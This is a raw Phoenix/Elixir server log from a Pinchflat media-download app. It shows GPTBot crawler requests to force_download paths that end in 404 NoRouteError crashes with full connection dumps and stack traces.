"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.264121.0>, params: %{}, path_info: ["sources", "4", "media", "102834", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/4/media/102834/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEMKV0FkIS1cmQAMYNC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264120.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/102834/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 55870}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/102834/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264120.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/102834/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 55870}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "ade (truncated) 02:51:49.703 [info] GET /sources/5/media/100350/force_download 02:51:49.704 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1044.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:49.704 [debug] QUERY OK source="settings" db=0.2ms idle=1045.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:49.704 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:51:49.705 [error] #PID<0.264123.0> running PinchflatWeb.Endpoint (connection #PID<0.264122.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/5/media/100350/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/media/100350/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264122.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/media/100350/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51600}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.264123.0>, params: %{}, path_info: ["sources", "5", "media", "100350", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/5/media/100350/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEMK3WozNg802IAMYOC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264122.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/media/100350/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51600}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/media/100350/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264122.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/media/100350/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51600}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "ade (truncated) 02:52:00.781 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:52:01.623 [info] {"source":"oban","duration":922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:15.509 [info] GET /sources/4/media/102836/force_download 02:52:15.509 [debug] QUERY OK source="settings" db=0.2ms idle=850.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:52:15.510 [debug] QUERY OK source="settings" db=0.4ms idle=850.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:52:15.510 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:52:15.511 [error] #PID<0.264128.0> running PinchflatWeb.Endpoint (connection #PID<0.264127.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/media/102836/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/102836/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264127.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/102836/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 44852}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.264128.0>, params: %{}, path_info: ["sources", "4", "media", "102836", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/4/media/102836/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEMMXfQiozQxdMAMYQC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264127.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/102836/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 44852}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/102836/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264127.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/102836/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 44852}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "ade (truncated) 02:52:31.626 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:00.782 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:53:01.628 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:20.000 [info] GET /sources/4/media/102835/force_download 02:53:20.001 [debug] QUERY OK source="settings" db=0.3ms idle=1342.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:53:20.002 [debug] QUERY OK source="settings" db=0.4ms idle=1342.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:53:20.002 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:53:20.003 [error] #PID<0.264136.0> running PinchflatWeb.Endpoint (connection #PID<0.264135.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/media/102835/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/102835/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264135.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/102835/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 56852}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.264136.0>, params: %{}, path_info: ["sources", "4", "media", "102835", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/4/media/102835/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEMQHvUy55knwEAMYTC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: 